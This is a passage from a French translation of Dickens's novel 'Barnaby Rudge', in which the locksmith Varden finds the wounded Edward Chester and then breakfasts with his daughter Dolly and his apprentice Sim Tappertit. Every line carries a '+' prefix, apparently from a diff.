+horloges des églises, l'aboiement des chiens dans le lointain, le
+bourdonnement du commerce dans les rues; puis des contours se
+dessinèrent, on vit paraître de hauts clochers sur l'océan aérien,
+et des amas de toits inégaux écrasés sous les lourdes cheminées;
+puis le tapage grandit, grandit, et devint un véritable vacarme;
+enfin les formes des objets se montrèrent plus nettes, plus
+nombreuses, et Londres, rendu visible dans l'obscurité par sa
+faible lumière, et non par celle des cieux, Londres apparut.
+
+Cependant, sans s'apercevoir le moins du monde que Londres fût si
+proche, le serrurier continuait d'être cahoté entre la veille et
+le sommeil, lorsqu'un grand cri poussé à peu de distance en tête
+de sa voiture le réveilla en sursaut.
+
+Un moment il regarda autour de lui, comme un homme qui, durant son
+sommeil, aurait été transporté dans quelque pays étranger; mais,
+reconnaissant bientôt des objets familiers, il se frotta les yeux
+nonchalamment, et peut-être allait-il se rendormir encore, si ce
+même cri ne s'était fait entendre de nouveau, non pas une fois,
+deux fois, trois fois, mais plusieurs fois, et chaque fois,
+semblait-il, avec une force croissante. Complètement réveillé,
+Gabriel, qui était un gaillard hardi et qui n'avait pas froid aux
+yeux, lança droit de ce côté son vigoureux petit cheval, comme
+s'il fallait vaincre ou mourir.
+
+Il s'agissait vraiment de quelque chose d'assez sérieux: car en
+arrivant à la place d'où les cris étaient partis, il avisa un
+homme étendu sur la chaussée et en apparence sans vie, autour
+duquel tournoyait un autre homme ayant une torche à la main,
+l'agitant en l'air avec le délire de l'impatience, et redoublant
+en même temps ses cris: «Au secours! au secours!» qui avaient
+amené là le serrurier.
+
+«Qu'y a-t-il? dit le vieillard en sautant à bas de sa voiture.
+Qu'est-ce que c'est donc? quoi! Barnabé?»
+
+Celui qui tenait la torche rejeta en arrière la longue chevelure
+éparse sur ses yeux; et, faisant aussitôt volte-face, il fixa sur
+le serrurier un regard où se lisait toute son histoire.
+
+«Vous me reconnaissez, Barnabé?» dit Varden.
+
+Il fit un signe affirmatif, non pas une fois, ni deux fois, mais
+une vingtaine de fois, d'une manière tellement bizarre et exagérée
+qu'il aurait remué sa tête pendant une heure, si le serrurier, le
+doigt levé en fixant sur lui un oeil sévère, ne l'eût fait cesser,
+puis, montrant le corps, ne l'eût interrogé du regard.
+
+«Il y a du sang sur lui, dit Barnabé en frissonnant. Ça me fait
+mal.
+
+-- D'où vient ce sang? demanda Varden.
+
+-- Du fer, du fer, du fer, répliqua l'autre d'un ton farouche, en
+imitant avec sa main l'action de donner un coup de poignard.
+
+-- Quelque voleur.» dit le serrurier.
+
+Barnabé le saisit par le bras et fit encore un signe affirmatif;
+puis il indiqua la direction de la ville.
+
+«Ah! dit le vieillard en se penchant sur le corps et se retournant
+pour parler à Barnabé, dont la pâle figure brillait d'une lueur
+étrange qui n'était point celle de l'intelligence, le voleur s'est
+sauvé par là? Bien, bien, ne vous occupez pas de ça pour
+l'instant. Tenez, ainsi votre torche, un peu plus loin, c'est ça.
+À présent, restez tranquille pendant que je vais tâcher de voir
+quelle est sa blessure.»
+
+Cela dit, il s'appliqua à examiner de plus près le corps étendu à
+terre, tandis que Barnabé, tenant sa torche comme on le lui avait
+recommandé, regarda en silence, fasciné par l'intérêt ou la
+curiosité, mais repoussé néanmoins par quelque puissante et
+secrète horreur qui imprimait à chacun de ses nerfs un mouvement
+convulsif.
+
+Debout comme il était alors, reculant d'effroi, et cependant à
+demi penché en avant pour mieux voir, sa figure et toute sa
+personne étaient en plein dans la vive clarté de la torche et se
+révélaient aussi distinctement que s'il eût fait grand jour. Il
+avait environ vingt trois ans, et, quoique maigre, il était d'une
+belle taille et solidement bâti. Sa chevelure rouge, très
+abondante, pendait en désordre autour de sa figure et de ses
+épaules, donnant à ses regards sans cesse en mouvement une
+expression qui n'était pas du tout de ce monde, rehaussée par la
+pâleur de son teint et l'éclat vitreux de ses grands yeux
+saillants. Quoi qu'on ne pût le voir sans saisissement, sa
+physionomie était bonne, et il y avait même quelque chose de
+plaintif dans son visage blême et hagard. Mais l'absence de l'âme
+est bien plus terrible chez un vivant que chez un mort, et chez
+cet être infortuné les facultés les plus nobles faisaient défaut.
+
+Il portait un habillement vert, décoré çà et là assez gauchement,
+et probablement par ses propres mains d'un somptueux galon, plus
+éclatant à l'endroit où l'étoffe était plus usée et plus sale. Une
+paire de manchettes d'un faux goût pendillaient à ses poignets,
+tandis que sa gorge était presque nue. Il avait orné son chapeau
+d'une touffe de plumes de paon, mais flasques et cassées à
+présent, elles traînaient négligemment derrière son dos. À sa
+ceinture brillait la garde d'acier d'une vieille épée sans lame ni
+fourreau, quelques bouts de rubans bicolores et de pauvres
+colifichets de verre complétaient la partie ornementale de son
+ajustement. La disposition confuse et voltigeante de tous les
+morceaux bigarrés qui formaient son costume, trahissait, aussi
+bien que ses gestes vifs et capricieux, le désordre de son esprit,
+et, par un grotesque contraste, mettait en relief l'étrangeté plus
+frappante encore de sa figure.
+
+«Barnabé, dit le serrurier, après un rapide mais soigneux examen,
+cet homme n'est pas mort; il a une blessure au flanc, mais il
+n'est qu'évanoui.
+
+-- Je le connais, je le connais! cria Barnabé en claquant des
+mains.
+
+-- Vous le connaissez? reprit le serrurier.
+
+-- Chut! dit Barnabé en mettant ses doigts sur ses lèvres. Il
+était sorti aujourd'hui pour aller faire sa cour. Je ne voudrais
+pas, pour un beau louis d'or, qu'il retournât encore faire sa
+cour; car, s'il y retournait, je sais des yeux qui perdraient
+bientôt leur éclat, quoi qu'ils brillent comme... À propos d'yeux,
+voyez-vous là-haut les étoiles? De qui donc sont-elles les yeux?
+Si ce sont les yeux des anges, pourquoi s'amusent-elles à regarder
+ici-bas pour voir blesser de bon monde, et ne font-elles que
+clignoter et scintiller toute la nuit?
+
+-- Dieu ait pitié du pauvre fou! murmura le serrurier fort
+perplexe. Connaîtrait-il en effet ce gentleman? La maison de sa
+mère n'est pas loin. Je ferais mieux de voir si elle peut me dire
+qui il est. Barnabé, mon garçon, aidez-moi à le placer dans la
+voiture, et nous irons ensemble jusque chez vous.
+
+-- Impossible à moi de le toucher! cria l'idiot reculant et
+frissonnant comme avec un spasme violent; il est tout en sang.
+
+-- Oui, je sais, c'est une répugnance qui est dans sa nature,
+marmotta le serrurier. Il y a de la cruauté à lui demander un
+pareil service, mais il faut pourtant qu'on m'aide... Barnabé! bon
+Barnabé! cher Barnabé! si vous connaissez ce gentleman. Au nom de
+sa propre vie, et de la vie de ceux qui l'aiment, aidez-moi à le
+lever et à l'étendre là.
+
+-- Tenez! couvrez-le, enveloppez-le tout à fait. Ne me laissez pas
+voir ça, sentir ça, en entendre seulement le mot. Ne prononcez pas
+le mot. Gardez-vous-en bien.
+
+-- Convenu; n'ayez aucune crainte. Là, regardez, il est couvert
+maintenant.
+
+-- Doucement. C'est ça, c'est ça.»
+
+Ils le placèrent dans la voiture avec une grande facilité, car
+Barnabé était fort et actif; mais, durant tout le temps qu'ils
+employèrent à cette opération, il frissonnait de la tête aux
+pieds, et il éprouvait évidemment une terreur si pleine
+d'angoisse, que le serrurier pouvait à peine supporter le
+spectacle de ses souffrances.
+
+L'opération accomplie, et le blessé ayant été recouvert du
+pardessus de Varden, que celui-ci ôta exprès pour cela, ils
+avancèrent d'un bon pas, Barnabé comptant gaiement sur ses doigts
+les étoiles, et Gabriel se félicitant en lui-même d'avoir
+actuellement à raconter une aventure qui, sans aucun doute, ferait
+taire ce soir Mme Varden au sujet du Maypole; ou bien il n'y avait
+donc plus moyen de se fier aux femmes.
+
+
+
+
+CHAPITRE IV.
+
+
+Passons au vénérable faubourg de Clerkenwell, car c'était jadis un
+faubourg; pénétrons dans cette partie de ses confins la plus
+voisine de Charter-House, et dans une de ces rues fraîches,
+ombreuses, dont il ne reste plus que quelques échantillons
+éparpillés dans ces vieux quartiers de la capitale. Là, chaque
+demeure végète tranquillement comme un bon vieux bourgeois qui,
+depuis longues années, retiré des affaires, roupille sur ses
+infirmités, jusqu'à ce que par la suite du temps il fasse la
+culbute pour céder la place à quelque jeune héritier, dont
+l'extravagante vanité se pavanera dans les ornements en stuc de sa
+maison rajeunie et dans tous les colifichets de l'architecture
+moderne. C'est dans ce quartier et dans une rue de ce genre que
+nous réclament les faits du présent chapitre.
+
+À l'époque dont il s'agit, quoiqu'elle ne date que de soixante-dix
+ans, une très grande partie de Londres n'existait pas encore. Même
+les plus effrénés spéculateurs n'avaient point fait éclore dans
+leurs cerveaux d'immenses lignes de rues reliant Highgate avec
+Whitechapel, ni des rassemblements de palais sur des marécages
+desséchés et comblés, ni de petites cités en rase campagne.
+Quoique cette partie de la ville fût alors, comme de nos jours,
+sillonnée de rues et fort peuplée, sa physionomie était bien
+différente. La plupart des maisons avaient des jardins; le long du
+trottoir s'élevaient des arbres; on respirait de tout côté une
+fraîcheur que, par ce temps-ci, on y chercherait vainement. On
+avait à sa porte des champs à travers lesquels serpentaient les
+eaux de New River, et il se faisait là dans l'été de joyeuses
+fenaisons. La nature n'était pas si éloignée, si reculée qu'elle
+l'est de nos jours; et, quoiqu'il y eût beaucoup d'industries
+actives dans Clerkenwell, et des ateliers de bijoutier par
+vingtaines, c'était un endroit plus salubre, plus à proximité des
+fermes, qu'une foule d'habitants du nouveau Londres ne seraient
+disposés à le croire, plus à portée aussi des promenades pour les
+amoureux, promenades qui se changèrent en cours dégoûtantes,
+longtemps avant que les amoureux de ce siècle eussent été mis au
+monde, ou, selon la phrase consacrée, avant qu'on pensât seulement
+à eux.
+
+Dans l'une de ces rues, la plus propre de toutes, et du côté de
+l'ombre (car les bonnes ménagères savent que le soleil endommage
+les tentures objet de leurs soins, et elles aiment mieux l'ombre
+que l'éclat des rayons pénétrants) se trouvait la maison dont nous
+avons à nous occuper. C'était un modeste bâtiment, qui n'était pas
+de la dernière mode, ni trop large, ni trop étroit, ni trop haut;
+il n'avait pas de ses façades hardies avec ces grandes fenêtres
+qui vous regardent effrontément; c'était une maison timide,
+clignant des yeux, pour ainsi dire, avec un toit en cône qui se
+dressait en forme de pic au-dessus de la fenêtre du grenier,
+garnie de quatre petits carreaux de vitre, comme un chapeau à
+cornes sur la tête d'un monsieur âgé, qui n'a qu'un oeil. Elle
+n'était pas bâtie en briques ni en pierres de taille, mais en bois
+et en plâtre; elle n'avait pas été dessinée avec un monotone et
+fatigant respect de la symétrie, car il n'y avait pas deux
+fenêtres pareilles; chacune d'elles semblait tenir à ne ressembler
+à rien.
+
+La boutique, car il y avait une boutique, était au rez-de-
+chaussée, comme toutes les boutiques; mais là toute ressemblance
+entre elle et une autre boutique cessait brusquement. Les gens qui
+entraient ou sortaient n'avaient pas à monter quelques marches, ou
+à glisser de plain-pied sur le sol au niveau de la rue; mais il
+leur fallait descendre par trois degrés fort roides, et plonger
+comme dans une cave. La place était pavée avec de la pierre et de
+la brique, ainsi qu'aurait pu l'être celle de toute autre cave;
+et, au lieu d'une fenêtre à châssis et à vitres, il y avait un
+grand battant ou volet de bois peint en noir, presque à hauteur
+d'appui, qui se reployait pendant le jour, donnant autant de froid
+que de jour, très souvent même moins de jour que de froid.
+Derrière cette boutique était une salle à manger lambrissée ayant
+vue d'abord sur une cour pavée, et au delà sur une terrasse et un
+petit jardin à quelques pieds au-dessus de la salle. Tout le monde
+aurait supposé que cette salle lambrissée, sauf la porte de
+communication par laquelle on avait été introduit, était
+retranchée du reste de l'univers; et véritablement on avait
+remarqué que beaucoup d'étrangers, en y entrant pour la première
+fois, étaient devenus extrêmement pensifs, et semblaient chercher
+à résoudre dans leur esprit le problème de savoir si les chambres
+de l'étage supérieur n'étaient accessibles que du dehors par des
+échelles, ne soupçonnant jamais que deux des portes les moins
+prétentieuses et les plus invraisemblables qu'il y eût au monde,
+et que les plus ingénieux mécaniciens de la terre devaient de
+toute nécessité supposer des portes de cabinets, ouvraient une
+issue hors de cette salle, chacune sans la moindre préparation et
+sans livrer plus d'un quart de pouce de passage, sur deux
+escaliers noirs et tournants, l'un dirigé vers le haut, l'autre
+vers le bas: car c'étaient là les seuls moyens de communication
+entre cette pièce et les autres parties de la maison.
+
+Avec toutes ces singularités, il n'y avait pas une maison plus
+propre, plus scrupuleusement rangée, plus minutieusement ordonnée
+dans Clerkenwell, dans Londres, dans toute l'Angleterre. Il n'y
+avait pas de croisées mieux nettoyées, de planchers plus blancs,
+de poêles plus brillants, de meubles en vieil acajou d'un lustre
+plus admirable. On ne frottait pas, on ne grattait pas, on ne
+brunissait pas, on ne polissait pas davantage dans toutes les
+maisons de la rue prises ensemble. Et cette perfection n'était pas
+obtenue sans quelques frais, quelques peines, et une grande
+dépense de poumons: les voisins ne s'en apercevaient que trop,
+quand la bonne dame du logis veillait et aidait elle-même à ce que
+tout fût mis en état les jours de nettoyage, ce qui, d'habitude,
+avait lieu du lundi matin au samedi soir, ces deux jours inclus.
+
+Appuyé contre le montant de la porte de ce logis qui était le
+sien, le serrurier se tenait debout de bonne heure, le lendemain
+du jour où avait eu lieu sa rencontre avec le blessé, considérant
+d'un air inconsolable son enseigne, une grande clef de bois,
+peinte en jaune vif pour simuler l'or, laquelle pendillait sur le
+devant de la maison et oscillait à droite et à gauche en criant
+d'une manière lugubre, comme si elle se plaignait de n'avoir rien
+à ouvrir. Quelquefois il regardait par-dessus son épaule dans la
+boutique, qui était si assombrie par les nombreuses marques de sa
+profession, si noircie par la fumée d'une petite forge, près de
+laquelle son apprenti était à l'ouvrage, qu'il eût été difficile,
+pour un oeil inaccoutumé à des investigations de ce genre, de
+distinguer là autre chose que divers outils d'une façon et d'une
+forme grossières, de grands paquets de clefs rouillées, des
+morceaux de fer, des serrures à moitié finies, et maint objet de
+même nature, garnissant les murailles ou pendant en grappes du
+plafond.
+
+Après une longue et patiente contemplation de la clef d'or, et
+plusieurs coups d'oeil lancés ainsi derrière lui, Gabriel fit
+quelques pas dans la rue, et dirigea un regard furtif vers les
+fenêtres de l'étage supérieur. L'une d'elles, par hasard, s'ouvrit
+toute grande en ce moment, et une figure friponne rencontra la
+sienne. C'était une figure illuminée par la plus aimable paire
+d'yeux étincelants sur lesquels un serrurier eût jamais fixé sa
+vue; c'était la figure d'une jeune folle, jolie, rieuse, aux
+fraîches fossettes pleines de santé, la véritable personnification
+de la bonne humeur et de la beauté dans sa fleur.
+
+«Chut! dit elle tout bas, en se penchant et montrant avec malice
+la fenêtre d'au-dessous; mère dort encore.
+
+-- Encore, ma chérie! répondit le serrurier du même ton. Tu en
+parles à ton aise. Ne dirait-on pas qu'elle a dormi toute la nuit,
+quand elle n'a guère eu plus d'une demi-heure de sommeil? Mais,
+Dieu soit loué! le sommeil est une bénédiction... il n'y a pas de
+doute à cela.»
+
+Le serrurier marmotta ces derniers mots pour lui seul.
+
+«C'est bien cruel à vous de nous avoir tenus sur pied si tard dans
+la nuit, sans seulement nous dire où vous étiez, et sans nous
+envoyer au moins un petit mot pour nous rassurer, reprit la jeune
+fille.
+
+-- Ah! Dolly, Dolly! répliqua le serrurier secouant la tête et
+souriant, c'est bien cruel à vous d'avoir couru là-haut dans votre
+chagrin, pour vous mettre au lit! Descendez déjeuner, petite
+folle, et bien doucement, ou vous réveilleriez votre mère. Elle
+doit être fatiguée, j'en suis sûr; certainement elle doit l'être.»
+
+Gardant pour lui ces derniers mots, et répondant au signe de tête
+de sa fille, il allait entrer dans sa boutique, la figure encore
+toute rayonnante du sourire que Dolly y avait éveillé, lorsqu'il
+put voir, juste au moment même, le bonnet de papier goudronné de
+son apprenti faire un plongeon afin d'éviter l'oeil du maître, et
+se reculer de la fenêtre, pour retourner en tapinois à sa première
+place, où il ne fut pas plutôt qu'il se mit à jouer vigoureusement
+du marteau.
+
+«Encore Simon aux aguets! se dit Gabriel; ça ne vaut rien. Que
+diable croit-il donc que la petite va dire? Toujours je le
+surprends à écouter lorsqu'elle parle, jamais à un autre moment.
+Mauvaise habitude, Sim, que de se cacher comme ça pour faire ses
+coups à la sourdine. Ah! vous avez beau jouer du marteau, vous ne
+m'ôterez pas cela de l'idée, quand vous y travailleriez toute
+votre vie.»
+
+En se parlant ainsi à lui-même et secouant la tête d'un air grave,
+il rentra dans l'atelier et toisa l'objet de ces remarques.
+
+«En voilà assez pour l'instant, dit le serrurier. Il est inutile
+de continuer ce bruit infernal. Le déjeuner est prêt.
+
+-- Monsieur, dit Sim en levant les yeux sur son maître avec une
+politesse étonnante et un petit salut à lui qui s'arrêtait net au
+cou, je suis à vous immédiatement.
+
+-- Je suppose, marmotta Gabriel, que c'est une phase de «la
+Guirlande de l'Apprenti,» ou des «Délices de l'Apprenti,» ou du
+«Chansonnier de l'Apprenti,» ou du «Guide de l'Apprenti à la
+Potence,» ou de quelque autre livre instructif de ce genre-là.
+Bon! ne va-t-il pas maintenant se faire beau!...un amour de
+serrurier, ma foi.»
+
+Sans se douter le moins du monde que son maître l'observait de la
+sombre encoignure près de la porte de la salle à manger, Sim jeta
+son bonnet de papier, sauta à bas de son siège, et, en deux pas
+extraordinaires, quelque chose entre l'enjambée d'un patineur et
+celle d'un danseur de menuet, il bondit jusqu'à une sorte de
+lavabo à l'autre bout de l'atelier, et là il fit disparaître de sa
+figure et de ses mains toutes les traces du travail de la matinée,
+exécutant le même pas pendant tout le temps avec le plus grand
+sérieux. Cela fait, il tira de quelque endroit caché un petit
+morceau de miroir, dont il s'aida pour arranger ses cheveux et
+constater l'état exact d'un petit bouton qu'il avait sur le nez.
+Ayant alors parachevé sa toilette, il posa le morceau de miroir
+sur un banc peu élevé, et regarda par-dessus son épaule tout ce
+qui put se refléter de ses jambes dans un cadre si étroit, avec
+une extrême complaisance et une extrême satisfaction.
+
+Sim, comme on l'appelait dans la famille du serrurier, ou M. Simon
+Tappertit, comme il s'appelait lui-même et exigeait que tout le
+monde l'appelât au dehors, les jours de fête, sans compter les
+dimanches, était un drôle de corps, d'une figure mince, aux
+cheveux plats, aux petits yeux, de petite taille, n'ayant pas
+beaucoup plus de cinq pieds, mais absolument convaincu dans son
+propre esprit qu'il était au-dessus de la taille moyenne, et
+plutôt grand qu'autrement. Sa personne, qui était bien faite,
+quoique des plus maigres, lui inspirait une haute admiration; et
+ses jambes, qui, dans sa culotte courte, étaient deux curiosités,
+deux raretés, au point de vue de leur exiguïté, excitaient en lui
+l'enthousiasme à un degré voisin de l'extase. Il avait aussi
+quelques idées majestueusement nuageuses, que n'avaient jamais
+sondées à fond ses amis les plus intimes, sur la puissance de son
+oeil. On n'ignorait pas qu'il était allé jusqu'à se vanter de
+pouvoir complètement réduire et subjuguer la plus fière beauté par
+un simple procédé qu'il définissait «l'oeillade fascinatrice;»
+mais il faut ajouter que de cette puissance, pas plus que d'un don
+homogène qu'il prétendait avoir de vaincre et dompter les animaux,
+même enragés, il n'avait jamais fourni de preuve qu'on pût estimer
+tout à fait satisfaisante et décisive.
+
+Ces prémisses permettent de conclure que le petit corps de
+M. Tappertit renfermait une âme ambitieuse et pleine de
+présomption. De même que certaines liqueurs, contenues dans des
+barils de dimensions trop étroites, fermentent, s'agitent et
+s'échauffent dans leur prison, ainsi l'essence spirituelle de
+l'âme de M. Tappertit fumait quelquefois dans le précieux baril de
+son corps, jusqu'à ce que, avec beaucoup d'écume, de mousse et de
+fracas, elle s'ouvrît de force un passage, et emportât tout devant
+elle. Il avait coutume de remarquer, dans ces occasions, que son
+âme lui avait monté à la tête; et, dans ce nouveau genre
+d'ivresse, il lui était arrivé nombre d'anicroches et de
+mésaventures, qu'il avait fréquemment cachées, non sans de grandes
+difficultés, à son digne maître.
+
+Sim Tappertit, parmi les autres fantaisies dont cette âme se
+repaissait et se régalait incessamment (fantaisies qui, telles que
+le foie de Prométhée, se multipliaient par la consommation), avait
+une haute idée de son ordre; et la servante l'avait entendu
+exprimer ouvertement le regret que les apprentis ne pussent plus
+porter de bâtons pour en assommer les pékins, selon son expression
+énergique. Il aurait dit aussi qu'on avait jadis stigmatisé
+l'honneur de leur corps par l'exécution de Georges Barnwell; que
+les apprentis n'eussent pas dû se soumettre bassement à cette
+exécution, qu'ils eussent dû réclamer leur collègue à la
+législature, d'abord d'une manière calme, puis, s'il le fallait,
+au moyen d'un appel aux armes, dont ils auraient fait usage comme
+ils l'auraient jugé à propos dans leur sagesse. Ces réflexions
+l'amenaient toujours à considérer quel glorieux instrument les
+apprentis pourraient devenir encore, si seulement ils avaient à
+leur tête un esprit supérieur; et il faisait alors d'une façon
+ténébreuse, et terrifiante pour ceux qui l'écoutaient, allusion à
+certains gaillards de sa connaissance, tous crânes finis, et à un
+certain Coeur-de-Lion prêt à devenir leur capitaine, lequel, une
+fois en besogne, ferait trembler le lord-maire sur son trône
+municipal.
+
+Quant au costume et à la décoration personnelle, Sim Tappertit
+n'était pas d'un caractère moins aventureux ni moins entreprenant.
+On l'avait vu, chose incontestable, ôter des manchettes superfines
+au coin de la rue les dimanches soir, et les mettre soigneusement
+dans sa poche avant de rentrer au logis; et il était notoire que,
+tous les jours de grande fête, il avait l'habitude de changer ses
+boucles de genouillères en simple acier contre des boucles de
+strass reluisant, sous l'abri amical d'un poteau, très commodément
+planté audit endroit. Ajoutez à cela qu'il était âgé de vingt ans
+juste; que son extérieur lui en donnait davantage, et sa
+suffisance au moins deux cents; qu'il ne trouvait pas de mal à ce
+qu'on le plaisantât en passant sur son admiration pour la fille de
+son maître; et qu'il avait même, comme on l'invitait, dans une
+certaine taverne obscure, à proposer la santé de la dame qu'il
+honorait de son amour, porté le toast suivant, avec force
+oeillades et lorgnades: «Une belle créature dont le nom de baptême
+commence par un D.» Et maintenant le lecteur sait de Sim
+Tappertit, qui avait en ce moment rejoint à table le serrurier,
+tout ce qu'il est nécessaire d'en savoir pour faire connaissance
+avec lui.
+
+C'était un repas substantiel: car, indépendamment du thé de
+rigueur et de ses accessoires, la table craquait sous le poids
+d'une bonne rouelle de boeuf, d'un jambon de première qualité, et
+de divers étages de gâteau beurré du Yorkshire, dont les tranches
+s'élevaient l'une sur l'autre dans la disposition la plus
+appétissante. Il y avait aussi un superbe cruchon bien verni,
+ayant la forme d'un vieux bonhomme qui ressemblait un peu au
+serrurier; au-dessus de sa tête chauve était une belle mousse
+blanche qui lui tenait lieu de perruque et promettait, à ne pas
+s'y tromper, une ale pétillante brassée à la maison. Mais plus
+adorable que cette ale jolie brassée à la maison, que le gâteau du
+Yorkshire, que le jambon, que le boeuf, qu'aucune autre chose à
+manger ou à boire que la terre ou l'air ou l'eau pût fournir, il y
+avait là, présidant à tout, la fille du serrurier, aux joues de
+rose: devant ses yeux noirs le boeuf perdait tout son prestige, et
+la bière n'était plus rien, ou peu s'en faut.
+
+Les pères ne devraient jamais embrasser leurs filles en présence
+de jeunes gens. C'est trop aussi. Il y a des limites aux épreuves
+humaines. Voilà justement ce que pensait Sim Tappertit quand
+Gabriel attira, vers ses lèvres les lèvres rosées de sa fille...
+Ces lèvres qui étaient chaque jour si près de Sim, et pourtant si
+loin! Il respectait son maître, mais il aurait souhaité dans ce
+moment-là que le gâteau de Yorkshire l'étouffât plutôt.
+
+«Père, dit la fille du serrurier, lorsque fut finie cette
+embrassade, qu'est-ce donc que j'apprends? Est-il bien vrai que
+cette nuit...
+
+-- Tout ça est vrai, chère enfant; vrai comme l'Évangile, Doll.
+
+-- M. Chester fils volé, et gisant blessé sur la route, quand vous
+êtes survenu?
+
+-- Oui; M. Édouard. Et auprès de lui Barnabé, criant au secours
+tant qu'il pouvait. Je suis survenu fort à point, car c'est une
+route solitaire; il était tard, et, comme la nuit était froide, et
+que le pauvre Barnabé avait encore moins de raison qu'à
+l'ordinaire, par suite de sa surprise et de son épouvante, le
+jeune monsieur n'en avait pas pour longtemps de s'en aller dans
+l'autre monde.
+
+-- Je tremble, rien que d'y penser! cria sa fille en frémissant.
+Comment l'avez-vous reconnu?
+
+-- Reconnu? répliqua le serrurier. Je ne l'ai pas reconnu. Et le
+moyen de le reconnaître? Je ne l'avais jamais vu; j'avais
+seulement mainte fois entendu parler de lui, comme j'en avais
+parlé moi-même sans le connaître. Je l'ai transporté chez mistress
+Rudge, et elle ne l'eut pas plus tôt vu, qu'elle me dit qui
+c'était.
+
+-- Mlle Emma, père, si cette nouvelle lui arrive, exagérée comme
+elle le sera certainement, est capable d'en devenir folle.
+
+-- Eh mais! écoutez donc encore, et voyez à quoi un homme s'expose
+quand il a bon coeur, dit le serrurier. Mlle Emma était avec son
+oncle au bal masqué, à Carlisle-House; elle y était allée bien
+malgré elle, m'a-t-on dit à la Garenne. Savez-vous ce que fait
+votre imbécile de père, après avoir tenu conseil avec mistress
+Rudge? Il y va lorsqu'il aurait dû être dans son lit; il sollicite
+la protection de son ami le portier, s'affuble d'un masque et d'un
+domino, et se mêle aux masques.
+
+-- Et comme c'est bien digne de lui d'avoir fait cela! s'écria la
+fillette, lui mettant son beau bras autour du cou, et lui donnant
+le plus enthousiaste des baisers.
+
+-- Bien digne de lui! répéta Gabriel, qui affectait de grommeler,
+mais qui évidemment était enchanté du rôle qu'il avait joué et des
+louanges de sa fille. Bien digne de lui! C'est ainsi que parle
+votre mère. Cela n'empêche pas qu'il s'est mêlé à la foule;
+harcelé, tourmenté, je vous en réponds, par des gens qui venaient
+lui rebattre les oreilles de leur: «Est-ce que tu ne me connais
+pas, beau masque? moi je te connais bien,» et d'un tas de sottises
+de cette espèce. Sans compter qu'il y serait encore à chercher,
+s'il n'y avait eu, dans une petite salle, une jeune dame qui
+venait de retirer son masque, à cause de l'extrême chaleur de
+l'endroit, et qui restait assise là toute seule.
+
+-- Et c'était elle? dit sa fille précipitamment.
+
+-- Et c'était elle, répondit le serrurier; et je ne lui eus pas
+plutôt murmuré à l'oreille ce dont il s'agissait, avec autant de
+ménagement, Doll, et presque avec autant d'art que vous auriez pu
+en mettre vous-même, qu'elle jeta un cri aigu et s'évanouit.
+
+-- Et alors qu'arriva-t-il après? demanda sa fille.
+
+-- Eh mais! un troupeau de masques accourut autour d'elle; il y
+eut un bruit général, un brouhaha, et je m'estimai heureux de
+m'esquiver: voilà tout, répliqua le serrurier. Ce qui arriva
+lorsque je revins au logis, vous pouvez le deviner, si vous ne
+l'avez pas entendu. Ah!... Bien... Ma foi! il ne faut pas toujours
+avoir la mort dans l'âme. Passez-moi Tobie par ici, chère enfant.»
+
+Ce Tobie, c'était le cruchon brun dont il a déjà été fait mention.
+Le serrurier, qui pendant tout l'entretien avait exercé d'affreux
+ravages parmi les comestibles, appliqua les lèvres au front
+bienveillant du digne bonhomme, et les y laissa si longtemps
+collées, tandis qu'il levait lentement le vase en l'air qu'à la
+fin il eut la tête de Tobie sur son nez; alors il fit claquer ses
+lèvres, et le replaça sur la table avec un regret plein de
+tendresse.
+
+Quoique Sim Tappertit n'eût pas pris part à cette conversation, et
+que la parole ne lui eût jamais été adressée, il n'avait pas
+manqué de faire en silence les manifestations d'étonnement qu'il
+croyait les plus propres à déployer avec succès la puissance
+fascinatrice de ses yeux. Regardant la pause qui avait suivi le
+dialogue comme une circonstance particulièrement avantageuse, et
+voulant frapper un grand coup sur la fille du serrurier (elle le
+regardait alors, à ce qu'il croyait dans une muette admiration),
+il commença à crisper et contracter sa figure, et principalement
+ses yeux; à faire des contorsions si extraordinaires, si hideuses,
+si incomparables, que Gabriel, qui regarda par hasard de son côté,
+en fut tout ébahi.
+
+«Eh mais! que diable a donc ce garçon? cria le serrurier. Est-ce
+qu'il s'étouffe?
+
+-- Qui? demanda Sim avec quelque dédain.
+
+-- Qui? Eh mais! vous, répliqua son maître. Pourquoi faites-vous
+ces horribles grimaces à table?
+
+-- Chacun son goût, monsieur; si j'aime les grimaces, moi! dit
+M. Tappertit, un peu déconcerté; et ce qui le déconcertait le
+plus, c'était d'avoir vu la fille du serrurier sourire.
+
+-- Sim, répliqua Gabriel en riant de bon coeur, pas de bêtises; je
+voudrais vous voir devenir raisonnable. Ces jeunes gens, ajouta-t-
+il en se tournant vers sa fille, sont toujours à faire quelque
+folie. Il y a eu une querelle hier au soir entre Joe Willet et le
+vieux John, quoique je ne puisse pas dire que Joe fût tout à fait
+dans son tort. Un de ces matins on ne le trouvera plus là-bas; il
+sera parti pour chercher fortune, et courir la prétentaine. Eh
+mais! qu'y a-t-il, Doll? c'est vous qui faites des grimaces
+maintenant. Allons, je vois bien que les filles ne valent pas
+mieux que les garçons!
+
+-- C'est le thé, dit Dolly en devenant tour à tour très rouge et
+très pâle (c'est toujours comme ça quand on se brûle), il est si
+chaud!»
+
+M. Tappertit fit de gros yeux à un pain de quatre livres qui était
+sur la table, et respira fortement.
+
+«Est-ce tout? répondit le serrurier. Mets dans ton thé un peu plus
+de lait. Oui, j'en suis fâché pour Joe, parce que c'est un brave
+jeune homme, qui gagne à être connu, mais il partira tout à coup,
+vous verrez. Il me l'a, ma foi! dit lui-même.
+
+-- Vraiment, cria Dolly d'une voix faible, vraiment!
+
+-- Est-ce le thé qui vous chatouille encore le gosier, chère
+enfant?» dit le serrurier.
+
+Mais, avant que sa fille eût pu lui répondre, elle fut prise d'une
+toux importune, d'une espèce de toux si désagréable que, l'accès
+fini, des larmes sortaient de ses beaux yeux. Le bon serrurier
+était encore à lui donner de petites tapes sur le dos, et à lui
+prodiguer de doux remèdes de même nature, lorsqu'on reçut un
+message de Mme Varden. Elle faisait savoir à tous ceux que cela
+pouvait intéresser, qu'elle se sentait beaucoup trop indisposée
+pour se lever, après l'agitation et l'anxiété de la nuit
+précédente; qu'en conséquence elle désirait qu'on lui procurât
+immédiatement la petite théière noire avec du bon thé bien fort,
+une demi-douzaine de rôties beurrées, une platée raisonnable de
+boeuf et de jambon en tranches minces, et le _Manuel protestant_
+en deux volumes in-douze. Comme quelques autres dames qui, dans
+les âges reculés, fleurirent sur ce globe, Mme Varden était
+d'autant plus dévote qu'elle était de moins bonne humeur. Chaque
+fois qu'elle et son mari se trouvaient, contre l'habitude, en
+mésintelligence, le _Manuel protestant_ reprenait tout de suite
+faveur.
+
